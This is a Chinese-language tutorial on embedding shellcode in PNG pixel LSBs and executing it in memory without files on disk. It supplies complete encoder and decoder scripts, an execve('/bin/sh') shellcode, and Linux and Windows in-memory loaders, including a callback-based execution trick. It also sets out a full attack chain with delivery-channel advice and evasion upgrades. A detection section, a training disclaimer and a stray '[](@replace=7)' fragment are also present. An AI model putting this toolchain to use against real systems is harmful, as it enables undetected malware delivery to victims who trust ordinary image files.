在PNG像素中隐藏可执行载荷(LSB隐写)与无文件加载技术教学文档
0x00 背景与动机
本教学文档将系统性地阐述如何利用PNG图片格式的特性,通过最低有效位(LSB)隐写技术,将二进制Shellcode等可执行载荷嵌入到图片像素中,并实现不依赖磁盘文件的“无文件”内存加载执行。此技术可用于理解现代终端安全产品的检测盲点,并用于安全研究、渗透测试的合法培训场景。
核心思想:绕过传统基于文件特征(PE头、ELF magic)的静态检测,将载荷伪装成正常的媒体文件。
0x01 PNG格式基础
PNG(Portable Network Graphics)是一种使用无损压缩的位图图形格式。其结构清晰,由一个固定的文件签名(Magic Number)和一系列数据块(Chunk)构成。
PNG文件结构:
-
文件头签名:固定为8字节
89 50 4E 47 0D 0A 1A 0A。 -
数据块序列:每个数据块具有统一的格式:
字段 长度(字节) 说明 Length 4 数据字段的长度(大端序) Type 4 4个ASCII字符,标识块类型 Data Length 块的实际数据 CRC32 4 对 Type和Data字段计算的校验和 -
关键数据块:
Chunk类型 作用 IHDR 图片元数据:宽度、高度、色深、颜色类型 IDAT 包含实际的图像数据,经zlib压缩 IEND 图片结束标记,数据长度为0 tEXt / iTXt 可存储文本信息(如版权、作者) gAMA / sRGB 色彩空间信息
教学要点:本次隐写操作的目标是IDAT块。PNG的解码流程是:读取IDAT块数据 → zlib解压 → 得到每行带过滤类型的原始像素数据。对于RGBA模式(颜色类型6),每个像素由连续的4个字节表示:R(红)、G(绿)、B(蓝)、A(Alpha透明度)。
0x02 LSB(最低有效位)隐写原理
LSB隐写是一种将信息隐藏在数字媒体(如图像、音频)最低有效位中的技术。其核心原理在于,修改像素颜色通道值(0-255)的最低位(Least Significant Bit, LSB),对人眼感知到的颜色影响微乎其微。
原理分析:一个8位颜色通道值,其最低位仅贡献了1/256 ≈ 0.39%的亮度变化。例如,将R通道值从166 (0b10100110) 改为167 (0b10100111),变化量仅为1,肉眼无法分辨。
嵌入策略与容量:不同策略在容量和隐蔽性之间取得平衡。
| 策略 | 每像素可用bit数 | 256×256图片容量 | 隐蔽性 |
|---|---|---|---|
| 仅R通道LSB | 1 | 8 KB | 高 |
| RGB三通道LSB | 3 | 24 KB | 高 |
| RGBA四通道LSB | 4 | 32 KB | 中(Alpha改动可能导致半透区域异常) |
| 每通道低2位 | 6-8 | 48-64 KB | 低(易被统计检测发现) |
教学选择:本教程采用RGB三通道LSB策略,不修改Alpha通道。一张256x256的RGBA图片即可提供256*256*3 = 196,608比特(24KB)的隐写空间,足以容纳大部分Shellcode。
0x03 编码器实现
在嵌入载荷前,需将其封装为一个带校验的数据帧,以确保提取时的数据完整性。
1. 数据帧格式
[4字节 payload长度, 小端序] + [payload数据] + [4字节 CRC32校验]
CRC32校验覆盖长度头和payload数据。如果图片在传输中被社交平台等重编码,CRC校验会失败,避免了执行损坏的载荷。
2. 完整编码器代码 (steg_encoder.py)
#!/usr/bin/env python3
import struct
import zlib
import sys
from PIL import Image
import numpy as np
def encode_payload(cover_path: str, payload: bytes, output_path: str):
img = Image.open(cover_path).convert("RGBA")
pixels = np.array(img)
h, w, _ = pixels.shape
# 计算容量(仅使用RGB通道)
capacity_bits = h * w * 3
# 构造数据帧
frame = struct.pack("<I", len(payload)) + payload
frame += struct.pack("<I", zlib.crc32(frame) & 0xFFFFFFFF)
required_bits = len(frame) * 8
if required_bits > capacity_bits:
raise ValueError(f"载荷过大: 需要 {required_bits} bits, 图片容量 {capacity_bits} bits")
# 将数据帧展开为比特流 (MSB-first)
bits = np.unpackbits(np.frombuffer(frame, dtype=np.uint8))
# 复制RGB通道,展平,修改LSB,再写回
rgb = pixels[:, :, :3].copy() # 必须显式拷贝
flat = rgb.reshape(-1)
flat[:len(bits)] = (flat[:len(bits)] & 0xFE) | bits # 修改LSB
pixels[:, :, :3] = rgb.reshape(h, w, 3)
result = Image.fromarray(pixels, "RGBA")
result.save(output_path, "PNG", compress_level=9) # 最高压缩率
print(f"[+] 嵌入完成: {len(payload)} bytes payload → {output_path}")
print(f" 帧: {len(frame)} bytes (4 len + {len(payload)} data + 4 crc)")
print(f" 容量利用率: {required_bits / capacity_bits * 100:.2f}%")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("用法: python3 steg_encoder.py <封面图片> <载荷文件> <输出图片>")
sys.exit(1)
encode_payload(sys.argv[1], open(sys.argv[2], 'rb').read(), sys.argv[3])
关键代码解释:
pixels[:, :, :3].copy(): 对RGBA数组切片后必须显式拷贝,否则后续reshape操作得到的是副本而非视图,修改不会生效。compress_level=9: 使用最高zlib压缩率。LSB修改对压缩率影响极小(通常变化在几十字节内)。- 修改操作
(flat[...] & 0xFE) | bits:& 0xFE用于将最低位清零,| bits用于将数据比特写入最低位。
0x04 解码器实现
解码器从隐写图片中读取像素,提取LSB,重组数据帧,并校验CRC。
完整解码器代码 (steg_decoder.py)
#!/usr/bin/env python3
import struct
import zlib
import sys
from PIL import Image
import numpy as np
def decode_payload(steg_path: str) -> bytes:
img = Image.open(steg_path).convert("RGBA")
pixels = np.array(img)
flat_rgb = pixels[:, :, :3].reshape(-1)
# 提取所有RGB通道的LSB
all_lsb = flat_rgb & 1
# 提取前32bit (4字节),解析为载荷长度
header_bytes = np.packbits(all_lsb[:32]).tobytes()
payload_len = struct.unpack("<I", header_bytes)[0]
# 合理性检查
max_payload = (len(all_lsb) // 8) - 8
if payload_len > max_payload or payload_len == 0:
raise ValueError(f"无效的payload长度: {payload_len}")
# 提取完整数据帧
frame_len = 4 + payload_len + 4
frame = np.packbits(all_lsb[:frame_len * 8]).tobytes()
# CRC32校验
stored_crc = struct.unpack("<I", frame[-4:])[0]
calc_crc = zlib.crc32(frame[:-4]) & 0xFFFFFFFF
if stored_crc != calc_crc:
raise ValueError(f"CRC校验失败: stored=0x{stored_crc:08X}, calculated=0x{calc_crc:08X}")
return frame[4: 4 + payload_len] # 返回纯载荷
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <隐写图片> <输出文件>")
sys.exit(1)
payload = decode_payload(sys.argv[1])
with open(sys.argv[2], "wb") as f:
f.write(payload)
print(f"[+] 提取成功: {len(payload)} bytes → {sys.argv[2]}")
0x05 实践操作
1. 准备工作
- 安装依赖:
sudo apt install python3-pil python3-numpy - 生成一张测试用的封面图片 (
cover.png)。 - 准备Shellcode。例如,一段x86-64 Linux的
execve("/bin/sh")Shellcode:sc = bytes.fromhex('4831f65648bb2f62696e2f736800534889e74831d2b03b0f05') open('shellcode.bin','wb').write(sc)
2. 嵌入载荷
python3 steg_encoder.py cover.png shellcode.bin stego.png
3. 验证
- 使用
file命令检查,stego.png仍然是合法的PNG文件。 - 对比文件大小,差异通常只有几字节,源于zlib压缩率的微小变化。
- 提取载荷并验证:
python3 steg_decoder.py stego.png extracted.bin diff shellcode.bin extracted.bin # 应无输出,表示完全一致
4. 实验效果
隐写后的图片与原始图片在视觉上完全无法区分。即使将差异放大128倍,也只有极少数像素点(承载了数据的像素)的LSB有变化,在画面上几乎全黑。
0x06 无文件加载:从像素到代码执行
提取出Shellcode后,关键步骤是不将其写入磁盘文件,直接在内存中分配可执行空间并跳转执行。
1. Linux方案:使用mmap分配匿名内存
- 基础方案(分配RWX内存):
void* mem = mmap(NULL, sc_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); memcpy(mem, sc, sc_len); ((void (*)(void))mem)(); - W^X策略适配方案(先RW,后RX):现代系统(如开启了SELinux)可能强制执行“写与执行互斥”(W^X)。此时需要两步:
// 1. 分配可读写(RW)内存 void* mem = mmap(NULL, sc_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); memcpy(mem, sc, sc_len); // 2. 修改内存保护为可读可执行(RX) mprotect(mem, sc_len, PROT_READ | PROT_EXEC); ((void (*)(void))mem)(); - 另一种选择是
memfd_create(),它创建一个匿名的内存文件描述符,适用于需要fexecve执行完整ELF的场景。
2. Windows方案:使用VirtualAlloc和VirtualProtect
#include <windows.h>
void exec_shellcode(unsigned char* sc, size_t len) {
// 1. 分配可读写内存
void* mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, sc, len);
// 2. 改为可执行(RX)
DWORD oldProtect;
VirtualProtect(mem, len, PAGE_EXECUTE_READ, &oldProtect);
// 3. 通过合法API回调间接执行,增加隐蔽性
EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0);
}
0x07 完整攻击链分析
攻击链可分为四个阶段:
- 准备阶段:攻击者选取封面图片,使用编码器将加密/未加密的Shellcode嵌入PNG的LSB中。
- 武器化阶段:生成隐写PNG。文件格式合法,MIME类型为
image/png,静态扫描无告警,任何图片查看器均可正常渲染。[](@replace=7) - 投递阶段:通过邮件附件、网页
<img>标签、即时通讯等渠道发送。注意:微信、Twitter、Facebook等平台通常会对上传的图片进行重编码,这会破坏LSB数据。需选择不重编码的信道,如邮件附件、自建Web服务器或某些网盘直链。 - 执行阶段:目标主机上的加载器(Loader)执行以下操作:
a. 读取PNG文件。
b. 解码像素,提取LSB,重组并校验数据帧。
c. 在内存中分配可读、可写、可执行(或先写后改可执行)的区域。
d. 将Shellcode复制到该内存区域。
e. 跳转到该内存区域执行。
全程无可执行文件(如.exe, .elf)落盘,绕过了基于文件特征的检测。
0x08 对抗与检测
攻击方的对抗增强手段:
- 载荷加密:嵌入前使用流密码(如ChaCha20, AES-CTR)加密Shellcode。密文在统计上呈现随机性,与自然图片的LSB随机分布更相似,增加检测难度。
- 随机化嵌入位置:不使用从第一个像素开始的线性嵌入。利用密钥通过哈希函数生成一个伪随机的像素访问序列(Fisher-Yates Shuffle),只有持有密钥者才知道数据的嵌入顺序。
- 选择高频区域嵌入:对图片进行边缘检测(如Laplacian滤波),优先在纹理复杂、高频的区域(如物体边缘、噪点)嵌入数据。这些区域本身的LSB就较为随机,修改后更不易被统计方法发现。
防御方的检测与缓解手段:
-
行为检测:隐写在静态层面特征弱,但加载执行阶段的行为模式明显,是主要的检测突破口。监控点包括:
- 分配同时具有
WRITE和EXECUTE权限的匿名内存(mmapwithPROT_EXEC,VirtualAllocwithPAGE_EXECUTE_READWRITE)。 - 权限从
WRITE到EXECUTE的切换(mprotect,VirtualProtect)。 - 非典型进程(如办公软件、服务进程)突然加载图片处理库(如
libpng,GDI+)。 memfd_create系统调用后紧接fexecve调用。
- 分配同时具有
-
隐写分析工具:
- zsteg:Ruby工具,可快速检测PNG/BMP中的LSB隐写。
gem install zsteg zsteg suspicious.png - StegExpose:基于RS分析、卡方检验等统计方法的Java自动化检测工具。
- zsteg:Ruby工具,可快速检测PNG/BMP中的LSB隐写。
-
网关重编码:在网络出口对传输的图片进行有损转码(例如PNG→JPEG→PNG,或改变PNG的压缩级别)。这会破坏LSB中的隐藏数据,但会牺牲一定的图片质量。
-
内存YARA扫描:载荷最终需要在内存中展开,可配置YARA规则扫描进程内存,查找Shellcode特征(如系统调用指令
0F 05,字符串/bin/sh等)。
0x09 其他可利用的文件格式
PNG并非唯一选择,其他常见格式也可用于隐写:
| 格式 | 隐写位置 | 特点 |
|---|---|---|
| BMP | 像素值直接存储,无压缩 | 简单,但文件体积大,如今不常见,易引起怀疑 |
| JPEG | DCT变换系数的LSB | 有损压缩,每次保存都会改变系数,需在频域操作(如F5, Jsteg算法) |
| WAV | PCM采样值的LSB | 容量巨大——1分钟CD音质音频可隐藏约1MB数据 |
| GIF | 调色板索引的排列 | 容量较小,但在Web上极常见 |
| 对象流、空白字符、增量更新 | 可利用文档结构中的冗余空间 |
0x0A 总结与要点
本教学完整演示了利用PNG LSB隐写结合无文件加载的技术链条。其核心优势在于将可执行载荷从“文件”形态中剥离,利用合法格式的冗余空间进行隐藏,从而绕过依赖文件特征的静态安全检测。
关键要点:
- 容量可观:一张256x256的PNG可隐藏约24KB数据。一张1920x1080的照片容量可达750KB以上,足以容纳复杂的载荷。
- 隐蔽性强:LSB修改对视觉效果和文件大小的影响微乎其微,能通过常规检查。
- 弱点在行为层:最终的内存分配与执行行为(RWX内存、图片解码库的异常加载)是EDR/AV检测的主要依据。
- 传输信道敏感:社交媒体的图片重编码会破坏LSB数据,需选择不进行二次压缩的传输方式。
重要声明:本文所述的所有技术、代码示例仅限用于网络安全学习、授权渗透测试、合规的威胁研究与防护方案构建。严禁将其用于任何未经授权的非法入侵、破坏系统、窃取信息等违法犯罪活动。